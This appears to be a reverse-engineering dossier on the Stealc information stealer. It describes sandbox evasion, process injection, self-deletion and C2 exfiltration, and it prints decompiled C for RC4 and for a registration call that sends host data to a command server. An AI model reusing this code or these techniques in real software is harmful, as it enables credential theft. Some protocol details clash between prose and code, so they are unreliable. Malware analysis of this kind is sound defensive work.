Stealc Information Stealer: Forensic Reverse-Engineering & Architectural Dossier

Stealc is an engineered information-harvesting executable developed in pure C, compiling to an exceptionally compact footprint (~75 KB). It omits traditional C runtime dependencies to minimize binary size. The implant relies on dynamic API resolution via PEB traversal and DJB2 hash matching. It communicates with a PHP/MySQL command panel over HTTP POST, employing an RC4 stream cipher for command negotiation, target path definition retrieval, dynamic DLL loader stages (sqlite3.dll, nss3.dll), and multi-part data exfiltration.

Detailed reverse-engineering specifications archived in laboratory telemetry.

{
  "structureType": "Embedded Binary Struct & Dynamic C2 Tasking Definition",
  "decryptionRoutine": "Standard KSA/PRGA RC4 implementation initialized with hardcoded key string (typically 32-character hex/alphanumeric string).",
  "inMemoryLayout": "struct StealcConfig {\n    char rc4_key[32];          // Offset 0x00: Static RC4 key for initial handshake\n    char c2_url[128];          // Offset 0x20: Primary C2 gateway URL\n    char botnet_id[32];        // Offset 0xA0: Campaign identifier\n    char build_version[16];    // Offset 0xC0: Engine version string (e.g., 'v1.4.1')\n    uint32_t flags;            // Offset 0xD0: Feature toggles (0x01: Grabbers, 0x02: Wallets, 0x04: HWID)\n};",
  "panelConfigOptions": "The web panel manages campaign bots, target browser regex rules, targeted cryptocurrency wallet extensions, custom file grabber patterns (extension, path, max file size), and dynamic loader tasks (download & execute secondary PE/DLL)."
}

{
  "apiResolution": "Dynamic API hashing via custom DJB2-derived algorithm against PEB InMemoryOrderModuleList. Resolves functions from kernel32.dll, advapi32.dll, user32.dll, crypt32.dll, and wininet.dll without static IAT entries.",
  "antiAnalysis": "Validates system locale via GetUserDefaultUILanguage() and GetKeyboardLayoutList(). Enumerates running processes via CreateToolhelp32Snapshot / Process32NextW to detect debugging and sandbox environments (wireshark.exe, x64dbg.exe, procmon.exe, vmtoolsd.exe). Halts execution if blacklisted artifacts match.",
  "injectionAndExecution": "Executes directly in-memory within its own process space or injects dynamic grabber stubs into newly spawned host processes using VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.",
  "cleanupRoutine": "Self-deletion via ShellExecuteA launching 'cmd.exe /c timeout /t 5 & del /f /q \"<executable_path>\"' upon successful exfiltration."
}

Concrete technical breakdown of functional modules implemented in the Stealc Information Stealer binary:

Stealc uses HTTP/1.1 POST requests over standard TCP ports (80/443). The communication lifecycle consists of: (1) Initial Registration: Client sends HTTP POST to /<gateway_token>/ with body formatted as 'hwid=<hwid>&botid=<id>&os=<os>&arch=<arch>', encrypted via RC4 using the embedded key string and Base64 encoded. (2) Configuration Acquisition: C2 responds with RC4-encrypted plain-text instructions specifying browser list, targeted wallet paths, and file grabber regex. (3) Plugin Delivery: If SQLite or NSS libraries are absent, Stealc requests DLL plugins via GET /api/v1/download/<plugin_name>, receiving RC4-encrypted PE blobs. (4) Data Exfiltration: Collected assets are assembled into a ZIP archive, encrypted with RC4, and pushed via multipart/form-data POST with boundary framing to the /upload endpoint.

Indicators of compromise and forensic patterns recorded across laboratory triage:

// Decompiled Stealc RC4 Decryption and C2 Dispatch Routine
void rc4_crypt(unsigned char *key, int keylen, unsigned char *data, int datalen) {
    unsigned char s[256];
    int i, j = 0;
    unsigned char temp;
    for (i = 0; i < 256; i++) s[i] = (unsigned char)i;
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + key[i % keylen]) & 0xFF;
        temp = s[i]; s[i] = s[j]; s[j] = temp;
    }
    i = 0; j = 0;
    for (int k = 0; k < datalen; k++) {
        i = (i + 1) & 0xFF;
        j = (j + s[i]) & 0xFF;
        temp = s[i]; s[i] = s[j]; s[j] = temp;
        data[k] ^= s[(s[i] + s[j]) & 0xFF];
    }
}

BOOL DispatchC2Registration(HINTERNET hConnect, char *rc4Key, char *hwid, char *botId) {
    char postData[512];
    wsprintfA(postData, "hwid=%s&botid=%s", hwid, botId);
    rc4_crypt((unsigned char*)rc4Key, lstrlenA(rc4Key), (unsigned char*)postData, lstrlenA(postData));
    HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/api/v1/register", NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0);
    return HttpSendRequestA(hRequest, "Content-Type: application/x-www-form-urlencoded\r\n", -1, postData, lstrlenA(postData));
}